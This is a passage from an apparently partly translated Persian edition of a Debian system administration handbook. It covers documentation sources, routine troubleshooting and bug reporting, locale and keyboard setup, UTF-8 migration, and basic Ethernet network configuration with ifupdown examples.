You might also want to check the Debian wiki, a collaborative website where anybody, even simple visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. آموزش‌های (HOWTO)

A HOWTO is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian also provides tutorials for its users:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating own websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard, to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. فرآیندهای متداول

هدف از این قسمت ارائه برخی نکات کلی در مورد عملیاتی است که یک مدیرسیستم به صورت متداول باید انجام دهد. این فرآیندها البته به صورت جامع تمام موارد احتمالی را در بر نمی‌گیرند، اما در موارد دشوار می‌توانند به عنوان یک نقطه آغاز در نظر گرفته شوند.

اکتشاف مستندسازی در سایر زبان‌ها

اغلب، مستندات ترجمه شده به زبانی غیر از انگلیسی به صورت بسته‌هایی با نام مربوط به آن برنامه همراه با پسوند -lang موجود هستند (به صورتی که lang یک کد ISO دو حرفی مربوط به آن زبان است).

For instance, the debian-reference-fr package is the French version of the reference guides for Debian (initially written in English by Osamu Aoki), and the manpages-de package contains the German version of the manual pages about using GNU/Linux.

7.2.1. پیکربندی یک برنامه

زمانی که می‌خواهید یک بسته ناشناخته را پیکربندی کنید، باید به صورت گام به گام پیش روید. ابتدا، آنچه مدیربسته مستندسازی کرده است را باید مطالعه کنید. مطالعه فایل /usr/share/doc/package/README.Debian به شما امکان می‌دهد تدارکات اولیه در رابطه با هر چه آسان‌تر کردن استفاده از نرم‌افزار را در نظر بگیرید. گاهی اوقات ضروری است که تفاوت‌ها از برنامه اصلی، به صورتی که در مستندات رسمی به آن اشاره شده، مانند howto، را درک کنید. گاهی اوقات این فایل شامل خطاهای متداول در برنامه است که می‌توانید زمان ارزشمندی را در این مورد صرفه‌جویی کنید.

آنگاه، باید به مستندات رسمی نرم‌افزار مراجعه کنید - ارجاع به قسمت قسمت 7.1, “منابع مستندات” جهت آگاهی از روش‌های شناسایی منابع مستندات. دستور dpkg -L package فهرستی از فایل‌های موجود در بسته را نمایش می‌دهد؛ بلافاصله می‌توانید مستندات موجود در یک بسته را با این روش بدست آورید (همچنین فایل‌های پیکربندی، که در /etc/ وجود دارند). دستور dpkg -s package اطلاعات جانبی مربوط به بسته را نمایش می‌دهد و به نمایش بسته‌های توصیه‌شده یا پیشنهادی می‌پردازد؛ در اینجاست که می‌توانید مستندات یا ابزار کاربردی مرتبط با پیکربندی یک نرم‌افزار را جستجو کنید.

در نهایت، فایل‌های پیکربندی دارای توضیحاتی درون خود هستند که روش‌های احتمالی بسیاری را در مورد هر یک از گزینه‌ها شرح می‌دهند. تنها کافی است که این گزینه‌ها را فعال کنید. در برخی موارد، مثال‌های مربوط به فایل‌های پیکربندی در دایرکتوری /usr/share/doc/package/examples/ قرار دارند. از این فایل‌ها می‌توانید به عنوان شروعی برای پیکربندی خود استفاده کنید.

خط‌مشی دبیان مکان نمونه‌ها

تمام فایل‌های نمونه باید در دایرکتوری /usr/share/doc/package/examples/ نصب شوند. این نمونه‌ها می‌توانند فایل پیکربندی، سورس کد برنامه (نمونه‌ای از استفاده یک کتابخانه) یا اسکریپت تبدیل داده‌ای باشند که مدیرسیستم می‌تواند در موارد مشخصی از آن استفاده نماید (مانند راه‌اندازی یک پایگاه‌داده). اگر نمونه مختص به یک معماری خاص باشد، باید در دایرکتوری /usr/lib/package/examples/ نصب شود و پیوندی به این فایل از طریق /usr/share/doc/package/examples/ وجود داشته باشد.

7.2.2. نظارت بر فرآیندهای پس‌زمینه

درک اینکه یک daemon یا فرآیند پس‌زمینه چه کاری می‌کند بسیار دشوار است، از آنجا که به صورت مستقیم با مدیرسیستم در ارتباط نیست. برای بررسی اینکه چنین فرآیندی در حقیقت کار می‌کند، باید آن را امتحان کنید، برای بررسی فرآیند پس‌زمینه آپاچی (وب‌سرور) آن را با یک درخواست HTTP بررسی کنید.

بازگشت به مقدمات Daemon

فرآیند پس‌زمینه برنامه‌ای است که به صورت مستقیم توسط کاربر فراخوانی نمی‌شود و در پس‌زمینه سیستم به فعالیت خود ادامه می‌دهد و در انتظار شرایط مورد نیاز جهت اجرای یک وظیفه باقی می‌ماند. بسیاری از برنامه‌های سرور به صورت فرآیند پس‌زمینه کار می‌کنند، عبارتی که توضیح می‌دهد حرف “d” معمولا در انتهای نام آن‌ها قرار می‌گیرد (مانند sshd، smtpd، httpd و ...).

برای انجام چنین آزمون‌هایی، هر فرآیند پس‌زمینه معمولا تمام فعالیت‌های خود را ثبث می‌کند، به همراه تمام خطاهایی که ممکن است اتفاق بیفتد که این داده‌ها در فایل‌های گزارش یا گزارش‌های سیستمی ثبت می‌شوند. گزارش‌ها در مسیر /var/log/ یا یکی از زیرمجموعه‌های آن ذخیره می‌شوند. برای دانستن نام دقیق یک گزارش برای هر فرآیند پس‌زمینه، به مستندات آن مراجعه کنید. یادداشت: یک آزمون به خودی خود نمی‌تواند تمام موارد احتمالی را پوشش دهد؛ برخی مشکلات تنها در شرایط خاصی بروز می‌کنند.

ابزار فرآیند پس‌زمینه rsyslogd

rsyslogd is special: it collects logs (internal system messages) that are sent to it by other programs. Each log entry is associated with a subsystem (e-mail, kernel, authentication, etc.) and a priority; rsyslogd processes these two pieces of information to decide on what to do. The log message may be recorded in various log files, and/or sent to an administration console. The details are defined in the /etc/rsyslog.conf configuration file (documented in the manual page of the same name provided in the rsyslog-doc package).

Certain C functions, which are specialized in sending logs, simplify the use of the rsyslogd daemon. However some daemons manage their own log files (this is the case, for example, of samba, which implements Windows shares on Linux).

زمانی که از systemd استفاده می‌شود، گزارش‌ها در حقیقت توسط systemd جمع‌آوری می‌شوند قبل از اینکه به rsyslogd فرستاده شوند. از این رو توسط ژورنال systemd قابل دسترس هستند که دستور journalctl به این منظور بکار می‌رود (برای جزئیات بیشتر قسمت 9.1.1, “سیستم راه‌انداز systemd” را مشاهده کنید).

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, webalizer for Apache), for FTP servers, for proxy/cache servers, for firewalls, for e-mail servers, for DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in فصل 14, امنیت), scan these files in search of alerts to be dealt with.

7.2.3. درخواست راهنمایی در میلینگ لیست

If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org> mailing list and its language specific siblings <debian-user-lang@lists.debian.org>. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

بازگشت به مقدمات قوانین Netiquette

In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.

→ https://tools.ietf.org/html/rfc1855

همچنین، برای هر کانال ارتباطی که توسط پروژه دبیان مدیریت می‌شود، شما ملزم به رعایت قوانین دبیان هستید:

→ https://www.debian.org/code_of_conduct

Once those two conditions are met, you can think of describing your problem to the mailing list. Include as much relevant information as possible: various tests conducted, documentation consulted, how you attempted to diagnose the problem, the packages concerned or those that may be involved, etc. Check the Debian Bug Tracking System (BTS, described in sidebar قسمت 1.3.2.1, “Reporting bugs” ) for similar problems, and mention the results of that search, providing links to bugs found. BTS starts on:

→ https://bugs.debian.org/

در توضیح مشکل هر چه دقیق‌تر باشید، احتمال اینکه پاسخ مثبتی دریافت کنید بیشتر می‌شود یا حداقل برخی پاسخ‌های مرتبط. اگر اطلاعات مفیدی را به صورت خصوصی دریافت کردید، به فکر انتشار آن‌ها به صورت عمومی باشید تا دیگران نیز بهره‌مند گردند. این امکان وجود دارد که با استفاده از موتورهای جستجو، به جستجوی دقیق درون بایگانی میلینگ لیست بپردازید تا دیگران نیز بتوانند به پرسش مورد نظر خود دسترسی داشته باشند.

7.2.4. گزارش باگ زمانی که مشکل بیش از اندازه دشوار باشد

اگر تمام تلاش‌های شما برای حل مساله به بن‌بست خورد، احتمالا حل مشکل جزو مسئولیت‌های شما نباشد، که در این صورت مشکل از باگ موجود در یک برنامه است. در این مورد، فرآیند مطلوب گزارش باگ به دبیان یا توسعه‌دهنده اصلی برنامه است. برای اینکار، مساله را به صورتی ایزوله کنید که باگ بتواند در آن دوباره تولید شود. اگر می‌دانید کدام برنامه به تولید باگ کمک می‌کند، می‌توانید بسته مربوط به آن را با استفاده از دستور dpkg -S file_in_question پیدا کنید. سیستم ردگیری باگ (https://bugs.debian.org/package) را بررسی کنید تا ببینید باگ در آن وجود نداشته باشد. آنگاه می‌توانید با استفاده از دستور reportbug گزارش باگ خود را ارسال کنید، به همراه تمام اطلاعات مورد نیاز، به خصوص موارد خاصی که اجرای آن‌ها منجر به تولید مجدد باگ می‌شود.

مباحث مطرح شده در این فصل به عنوان روش‌هایی برای حل مسايل مرتبط که در فصل‌های آتی فرا می‌گیرید بکار می‌روند. تا آنجا که امکان دارد از آن‌ها بهره بگیرید!

فصل 8. پیکربندی اولیه: شبکه، حساب‌های کاربری، چاپ و ...

از رایانه‌ای که توسط ابزار debian-installer نصب می‌گردد انتظار می‌رود که تا جای ممکن کارآمد باشد، اما بسیاری از سرویس‌ها باید پیکربندی شوند. علاوه بر این، ایده خوبی است که بدانیم در زمان نصب اولیه کدام گزینه‌ها قابلیت تغییر را دارند.

این فصل به بررسی هر آنچه که ما به آن “پیکربندی پایه” می‌گوییم می‌پردازد: تنظیمات شبکه، زبان و منطقه، کاربران و گروه‌ها، چاپ، نگاشت دستگاه‌ها و از این قبیل.

8.1. پیکربندی سیستم برای یک زبان دیگر

اگر سیستم توسط زبان فرانسوی نصب شده باشد، ماشین به احتمال زیاد از همین زبان به صورت پیش‌فرض استفاده می‌کند. خوب است که بدانیم برنامه نصب‌کننده چطور این تغییرات را انجام می‌دهد تا در صورت نیاز بتوان زبان را تغییر داد.

ابزار دستور locale برای نمایش پیکربندی فعلی

دستور locale فهرست خلاصه‌ای از پیکربندی فعلی سیستم بر اساس پارامترهای منطقه‌ای را نشان می‌دهد (قالب تاریخ، قالب اعداد و ...) که این فهرست به صورت مجموعه‌ای از متغیرهای محلی استاندارد در اختیار سیستم و برنامه‌های آن قرار دارند.

8.1.1. تنظیم زبان پیش‌فرض

یک locale گروهی از تنظیمات مربوط به آن منطقه است. این گروه نه تنها شامل زبان مورد نیاز برای متن است، بلکه قالب مورد نیاز جهت نمایش اعداد، تاریخ، زمان، پول و همچنین قواعد مقایسه الفبایی مربوط به آن زبان را شامل می‌شود. اگرچه هر یک از این پارامترها می‌توانند جداگانه از یکدیگر تعریف شوند، معمولا از یک locale به منظور گردآوری پارامترهای مورد نیاز در یک منطقه استفاده می‌کنیم. این مناطق معمولا به صورت language-code_COUNTRY-CODE نشان داده می‌شوند، گاهی اوقات به همراه پسوندی که برای مشخص کردن کاراکترها به کار می‌رود. این قابلیت به منظور بهره‌گیری از تفاوت‌های موجود بین عبارت‌های نگارشی بین چند منطقه با زبانی مشترک به کار می‌رود.

فرهنگ مجموعه‌های کاراکتری

به لحاظ تاریخی، هر منطقه “مجموعه کاراکتری” مربوط به خود را دارد (گروهی از کاراکترهای شناخته شده) به همراه یک “کدگذاری” مشخص (شیوه نمایش داخلی کاراکترها در رایانه).

محبوب‌ترین شیوه‌های کدگذاری برای زبان‌های مبتنی بر لاتین محدود به ۲۵۶ کاراکتر بودند چرا که از هر بایت به منظور ذخیره‌سازی یک کاراکتر استفاده می‌کردند. از آنجایی که ۲۵۶ کاراکتر برای پوشش تمام زبان‌های اروپایی کافی نبود، به شیوه‌های کدگذاری دیگری نیاز بود و این همان دلیلی است که اکنون به ISO-8859-1 (که با نام “Latin 1” شناخته می‌شود) تا ISO-8859-15 (که با نام “Latin 1” شناخته می‌شود) دست یافته‌ایم.

کار با زبان‌های خارجه اشاره بر تعویض متداول بین شیوه‌های کدگذاری مختلف و مجموعه‌های کاراکتری دارد. علاوه بر این، نگارش اسناد چند زبانه تقریبا منجر به ایجاد مشکلاتی در آینده می‌گردد. یونیکد (یک کاتالوگ عظیم از تمام سیستم‌های نگارش موجود در تمام زبان‌های دنیا) به منظور حل این مشکل بوجود آمده است. یکی از شیوه‌های کدگذاری یونیکد، UTF-8، تمام ۱۲۸ نماد ASCII را حفظ (کدهای ۷ بیتی) اما سایر کاراکترها را به شیوه‌ای دیگر مدیریت می‌کند. این کاراکترها به همراه یک توالی مشخص که نشان‌دهنده طول هر یک از آن‌ها است تعریف می‌شوند. این عملیات امکان رمزگذاری تمام کاراکترهای یونیکد در حالت یک یا دو بایتی را فراهم می‌سازد. کاربرد یونیکد به اندازه‌ای محبوب شده است که هم اکنون شیوه کدگذاری پیش‌فرض در اسناد XML به حساب می‌آید.

این شیوه کدگذاری است که باید استفاده شود، که در سیستم‌های دبیان نیز حالت پیش‌فرض است.

بسته locales تمام عناصر مورد نیاز برای عملکرد صحیح “بومی‌سازی” بسیاری از برنامه‌ها را شامل می‌شود. هنگام نصب، این بسته مجموعه زبان‌های پشتیبانی شده را از شما می‌پرسد. این تنظیمات در هر لحظه توسط دستور dpkg-reconfigure locales قابل تغییر هستند.

پرسش اول در مورد پشتیبانی از “مناطق” مختلف است. انتخاب تمام مناطق انگلیسی‌زبان (آن‌هایی که با “en_” شروع می‌شوند) معقول به نظر می‌رسد. از فعال‌سازی سایر مناطق برای کاربران خارجی زبان خود دریغ نکنید. فهرستی از مناطق که در سیستم فعال هستند در فایل /etc/locale.gen ذخیره شده‌اند. امکان ویرایش دستی این فایل وجود دارد اما پس از هر تغییر باید دستور locale-gen را اجرا کنید. این دستور فایل‌های مورد نیاز برای مناطق جدید را اضافه و فایل‌های قدیمی را پاک می‌کند.

پرسش دوم، که عنوان “منطقه پیش‌فرض برای محیط سیستم” را دارد، درخواست یک منطقه پیش‌فرض را می‌کند. انتخاب توصیه‌شده برای U.S.A استفاده از “en_US.UTF-8” است. برای انگلیسی‌زبان‌های بریتانیا “en_GB.UTF-8” و کانادایی‌ها نیز “en_CA.UTF-8” یا “fr_CA.UTF-8” را برای زبان فرانسوی انتخاب می‌کنند. فایل /etc/default/locale تغییر می‌کند تا انتخاب‌های صورت گرفته را ذخیره سازد. از این لحظه، این تنظیمات توسط PAM درون متعیر محلی LANG قرار می‌گیرد تا تمام برنامه‌ها از آن استفاده کنند.

The locales-all package contains the precompiled locale data for all supported locales.

پشت صحنه /etc/environment و /etc/default/locale

فایل /etc/environment متغیرهای محلی صحیح را برای برنامه‌های login، gdm یا ssh فراهم می‌کند.

این برنامه‌های به صورت مستقیم این متغیرها را تولید نمی‌کنند، بلکه از طریق یک ماژول PAM (pam_env.so) اینکار صورت می‌پذیرد. PAM یا Pluggable Authentication Module کتابخانه‌ای ماژولار با تمرکز اصلی بر احراز هویت، راه‌اندازی نشست و مدیریت گذرواژه است. برای مشاهده نمونه‌ای از پیکربندی آن به قسمت قسمت 11.7.3.2, “پیکربندی PAM” مراجعه کنید.

فایل /etc/default/locale به شیوه‌ای مشابه کار می‌کند، اما تنها شامل متغیر محلی LANG است. به لطف این جداسازی، برخی کاربران PAM می‌توانند یک محیط کامل بدون عوامل بومی‌سازی را اجرا کنند. در حقیقت، اجرای برنامه‌های سمت سرور با قابلیت بومی‌سازی خیلی متداول نیست؛ از طرف دیگر، بومی‌سازی و تنظیمات منطقه‌ای برای برنامه‌هایی که اقدام به بازکردن نشست برای کاربران می‌کنند معنا دارد.

8.1.2. پیکربندی صفحه‌کلید

حتی اگر ساختار صفحه‌کلید در حالت گرافیکی و غیرگرافیکی به صورت مختلف مدیریت شود، دبیان یک رابط پیکربندی واحد برای هر دوی آن‌ها ارائه می‌دهد: این رابط بر اساس debconf است و در بسته keyboard-configuration پیاده‌سازی شده است. بنابراین با استفاده از دستور dpkg-reconfigure keyboard-configuration می‌توان در هر لحظه تنظیمات مربوط به ساختار صفحه‌کلید را تغییر داد.

پرسش‌ها مرتبط با ساختار صفحه‌کلید فیزیکی هستند (یک صفحه‌کلید استاندارد PC در آمریکا شامل ۱۰۴ کلید عمومی است)، سپس ساختاری که باید انتخاب کرد (معمولا “US”) سپس موقعیت کلید AltGr (Alt سمت راست). در نهایت پرسش مربوط به “کلید ترکیبی” مطرح می‌شود که امکان درج کاراکترهای مخصوص به استفاده از فشردن همزمان چند دکمه را فراهم می‌آورد. برای نمونه اگر تایپ کنید Compose ' e یک e-acute (“é”) تولید می‌شود. تمام این ترکیبات در فایل /usr/share/X11/locale/en_US.UTF-8/Compose توضیح داده شده‌اند (یا فایلی دیگر، که توسط منطقه فعلی در مسیر /usr/share/X11/locale/compose.dir مشخص شده است).

Note that the keyboard configuration for graphical mode described here only affects the default layout; the GNOME and KDE Plasma environments, among others, provide a keyboard control panel in their preferences allowing each user to have their own configuration. Some additional options regarding the behavior of some particular keys are also available in these control panels.

8.1.3. مهاجرت به UTF-8

گسترش استفاده از شیوه کدگذاری UTF-8 به عنوان یک راهکار بلند مدت در حل مشکلات مربوط به تبادل حروف در زبان‌های مختلف، مرزهای موجود بین کاراکترهای داخل یک سند متنی را از بین برده است. یکی از نقطه ضعف‌های آن استفاده از شیوه به نسبت دشوار انتقال بین حروف است. از آنجا که به طور کامل نمی‌تواند شفاف عمل کند (به معنای اتفاق افتادن به صورت یکجا در هر نقطه از جهان) به دو عملیات تبدیل نیاز داریم: اولی روی محتوای فایل و دیگری رو نام فایل‌ها. خوشبختانه، قسمت عظیمی از این انتقال انجام شده است که در اینجا به عنوان مرجع از آن‌ها نام می‌بریم.

فرهنگ Mojibake و خطاهای تفسیر

زمانی که یک متن بدون اطلاعات کدگذاری حروف ارسال یا ذخیره می‌شود، برای مخاطب یا دریافت‌کننده واضح نیست که از کدام شیوه کدگذاری برای خواندن حروف آن متن باید استفاده کرد. البته می‌توانید با بررسی شیوه توزیع مقادیر موجود در آن به نتیجه‌ای برسید، اما این روش هیچگاه پاسخ قطعی به همراه ندارد. زمانی که شیوه کذگذاری برای خواندن و نوشتن متفاوت باشد، بایت‌های موجود در فایل به صورت اشتباه تفسیر می‌شوند که در بهترین حالت آن کاراکترها نمایش داده نمی‌شوند و در بدترین حالت کل متن ناخوانا می‌گردد.

بنابراین، اگر متنی فرانسوی به جز حروف مشخصی که با کاراکترهایی نظیر “Ã©” یا “Ã§” نمایش داده می‌شوند، به صورت طبیعی بنظر می‌آید، احتمالا فایلی است که با UTF-8 کدگذاری شده ولی با ISO-8859-1 یا ISO-8859-15 تفسیر شده است. این نشانه نصب محلی سیستمی است که هنوز به UTF-8 مهاجرت نکرده است. اگر، در عوض، بجای حروف خاص علامت سوال ببینید - حتی اگر این علامت سوال‌ها بنظر جایگزین حروف مشخصی باشند - نشان‌دهنده این است که نصب محلی شما برای UTF-8 پیکربندی شده است و اینکه شما سندی را با قالب Western ISO کدگذاری کرده‌آید.

این موضوع درباره موارد “ساده” نیز اتفاق می‌افتد. این موارد اغلب در فرهنگ غربی روی می‌دهند، چرا که یونیکد (و UTF-8) برای استفاده حداکثری از نقاط مشترک با کدگذاری‌هایی مناسب زبان‌های غربی بر اساس الفبای لاتین طراحی شده‌اند که این امر به شناسایی بخشی از متن با نبود برخی کاراکترها کمک می‌کند.

در پیکربندی‌های پیچیده‌تر، برای مثال دو محیط که از دو زبان با دو الفبای متفاوت استفاده می‌کنند، معمولا نتایج غیرقابل قبولی بدست می‌آید - مجموعه‌ای از نمادهای انتزاعی که کوچکترین ارتباطی با یکدیگر ندارند. این مورد بیشتر درباره زبان‌های آسیایی که طیف گسترده‌ای از سیستم‌های نگارشی را شامل می‌شوند مرسوم است. کلمه ژاپنی mojibake برای شرح این پدیده انتخاب شده است. زمانی که مشاهده می‌شود، پیچیدگی بالاتر می‌رود و ساده‌ترین راه حل مهاجرت به UTF-8 در هر دو سمت است.

در مورد نامگذاری فایل‌ها، مهاجرت فرآیند ساده‌تری دارد. ابزار convmv (در بسته‌ای با همین نام) به طور خاص به منظور حل این مشکل بوجود آمده است؛ امکان نامگذاری یک فایل از یک شیوه کدگذاری به دیگری را فراهم می‌آورد. شیوه استفاده از آن نیز بسیار ساده است، توصیه می‌شود که طی دو گام انجام شود. مثال زیر یک محیط UTF-8 را نمایش می‌دهد که شامل دایرکتوری‌هایی با نامگذاری ISO-8859-15 است و استفاده از convmv برای نامگذاری مجدد آن‌ها.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

برای محتوای فایل، فرآیندهای تبدیل با توجه به قالب‌های متنوع فایل بسیار پیچیده‌تر هستند. برخی قالب‌ها شامل اطلاعات کدگذاری حروف می‌باشند تا نرم‌افزار مربوطه از آن‌ها استفاده کند؛ در این مورد ذخیره‌سازی مجدد آن‌ها با کدگذاری UTF-8 کافی بنظر می‌رسد. در سایر موارد، هنگام بازکردن فایل باید کدگذاری مبدا (ISO-8859-1 یا “Western”، ISO-8859-15 یا “Western (Euro)” بر اساس فرمول‌های موجود) را مشخص کنید.

برای فایل‌های متنی ساده، می‌توانید از recode (در بسته‌ای با همین نام) برای کدگذاری خودکار استفاده کنید. این ابزار شامل گزینه‌های بسیاری می‌شود که می‌توانید با آن آشنا شوید. توصیه ما استفاده از مستندات رسمی، صفحه راهنمای recode(1) یا صفحه اطلاعات recode است.

8.2. پیکربندی شبکه

بازگشت به مقدمات مفاهیم ضروری شبکه (Ethernet, IP address, subnet, broadcast)

Most modern local networks use the Ethernet protocol, where data is split into small blocks called frames and transmitted on the wire one frame at a time. Data speeds vary from 10 Mb/s for older Ethernet cards to 100 Gb/s in the newest cards (with the most common rate currently growing from 100 Mb/s to 10 Gb/s). The most widely used cables are called 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T and 40GBASE-T, depending on the throughput they can reliably provide (the T stands for “twisted pair”); those cables end in an RJ45 connector. There are other cable types, used mostly for speeds of 10 Gb/s and above.

یک نشانی IP عددی است که رابط کارت شبکه رایانه را در شبکه محلی یا اینترنت مشخص می‌کند. در نسخه فعلی که بیشترین استفاده را دارد (IPv4) این عدد به صورت ۳۲ بیتی کدگذاری و معمولا به صورت ۴ عدد که توسط . از هم جدا شده‌اند نمایش داده می‌شود (برای نمونه، 192.168.0.1) هر قسمت عددی بین ۰ تا ۲۵۵ (که نشانگر ۸ بیت از داده است) قرار دارد. نسخه بعدی این پروتکل، IPv6، فضای آدرسی‌دهی را تا ۱۲۸ بیت افزایش می‌دهد که به صورت مجموعه اعداد هگزادسیمال جدا شده با : نمایش می‌یابند (برای نمونه، 2001:0db8:13bb:0002:0000:0000:0000:0020 یا 2001:db8:13bb:2::20 به صورت خلاصه).

یک subnet mask یا netmask به صورت باینری مشخص می‌کند که کدام قسمت از نشانی IP مربوط به یک شبکه و کدام قسمت مربوط به رایانه‌های آن شبکه است. مثالی که درباره پیکربندی کی نشانی IPv4 ایستا در ادامه می‌آید، 255.255.255.0 (۲۴ تا ۱ به همراه ۸ تا ۰ در حالت باینری) نشان می‌دهد که ۲۴ بیت ابتدایی مربوط به نشانی شبکه و ۸ بیت انتهایی مربوط به رایانه‌های آن شبکه است. در IPv6، برای خوانایی بیشتر، تنها تعداد ۱ها شمرده می‌شود؛ netmask یک شبکه IPv6 می‌تواند 64 باشد.

نشانی شبکه قسمتی از نشانی IP است که اعداد ۰ آن نشان‌دهنده تعداد رایانه‌های روی شبکه است. محدوده نشانی‌های IPv4 در یک شبکه کامل معمولا به صورت a.b.c.d/e نمایش داده می‌شود که در آن a.b.c.d به عنوان نشانی شبکه و e به عنوان تعداد بیت‌های موثر در قسمت شبکه نشانی IP بکار می‌رود. برای نمونه، شبکه به صورت 192.168.0.0/24 نمایش می‌یابد. این شیوه نگارش در مورد IPv6 نیز صادق است: 2001:db8:13bb:2::/64

router رایانه‌ای است که چندین شبکه را به یکدیگر متصل می‌کند. تمام ترافیکی که از router می‌گذرد به شبکه درستی راهنمایی می‌شود. به این منظور، router بسته‌های دریافتی را تحلیل کرده و بر اساس نشانی IP مقصد آن‌ها را هدایت می‌کند. router همچنین با نام gateway نیز شناخته می‌شود؛ در این پیکربندی، به عنوان رایانه‌ای که ترافیک را در محدوده مرز شبکه محلی هدایت می‌کند شناخته می‌شود (در میان یک شبکه خارجی مانند اینترنت).

یک نشانی broadcast بخصوص تمام رایانه‌های یک شبکه را یه یکدیگر متصل می‌کند. تقریبا هیچگاه “مسیریابی” نمی‌شود و تنها روی شبکه محلی خود فعالیت می‌کند. به این معنا که بسته داده‌ ارسال شده به نشانی broadcast هیچگاه از router عبور نمی‌کند.

تمرکز این فصل بر روی نشانی‌های IPv4 است چرا که پرکاربردترین شیوه نشانی‌دهی به شمار می‌روند. جزئیات پروتکل IPv6 در قسمت 10.6, “IPv6” آمده اما مفاهیم تغییری نکرده است.

The network is automatically configured during the initial installation. If Network Manager gets installed (which is generally the case for full desktop installations), then it might be that no configuration is actually required (for example, if you rely on DHCP on a wired connection and have no specific requirements). If a configuration is required (for example, for a WiFi interface), then it will create the appropriate file in /etc/NetworkManager/system-connections/.

NOTE NetworkManager

If Network Manager is particularly recommended in roaming setups (see قسمت 8.2.5, “پیکربندی خودکار شبکه برای کاربران” ), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.14/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections.

8.2.1. رابط Ethernet

اگر رایانه دارای کارت شبکه Ethernet باشد، شبکه IP که با آن منطبق است طبق دو شیوه باید تنظیم گردد. شیوه آسان استفاده از پیکربندی خودکار DHCP است که نیاز به یک DHCP سرور در شبکه محلی دارد. می‌تواند دارای نام مناسبی نیز باشد، مانند تنظیمات hostname در مثال زیر. سرور DHCP آنگاه تنظیمات مربوط به کل شبکه را به رایانه‌ها ارسال می‌کند.

مثال 8.1. پیکربندی DHCP

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

IN PRACTICE Names of network interfaces

By default, the kernel attributes generic names such a eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6).

Obviously, you are free to override this policy and/or to complement it to customize the names of some specific interfaces. You can find out the names of the network interfaces in the output of ip addr (or as filenames in /sys/class/net/).

In some corner cases it might be necessary to disable the consistent naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 and biosdevname=0 kernel parameters to achieve that.

یک پیکربندی “ایستا” باید تنظیمات شبکه را به شیوه‌ای ثابت نمایش دهد. حداقل گزینه‌های مورد نیاز نیز نشانی IP و subnet mask هستند؛ گاهی نیز نشانی‌های شبکه و broadcast فهرست می‌شوند. router که به شبکه خارجی متصل است در این پیکربندی با نام gateway شناخته می‌شود.

مثال 8.2. پیکربندی ایستا

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

یادداشت نشانی‌های مختلف

نه تنها می‌توان چند رابط مختلف را به یک کارت شبکه فیزیکی نسبت داد بلکه امکان اختصاص چند نشانی IP به یک رابط واحد نیز وجود دارد. به یاد داشته باشید که یک نشانی IP از طریق DNS ممکن است به چندین نام مختلف اختصاص یابد و همچنین این نام می‌تواند در برگیرنده چندین نشانی IP باشد.

همانطور که حدس می‌زنید، پیکربندی در این حالت پیچیده است اما چنین گزینه‌هایی تنها در حالت‌های خاص استفاده می‌شوند. مثالی که در ادامه می‌آید تنها به بررسی کاربردهای عمومی آن می‌پردازد.

8.2.2. Wireless Interface

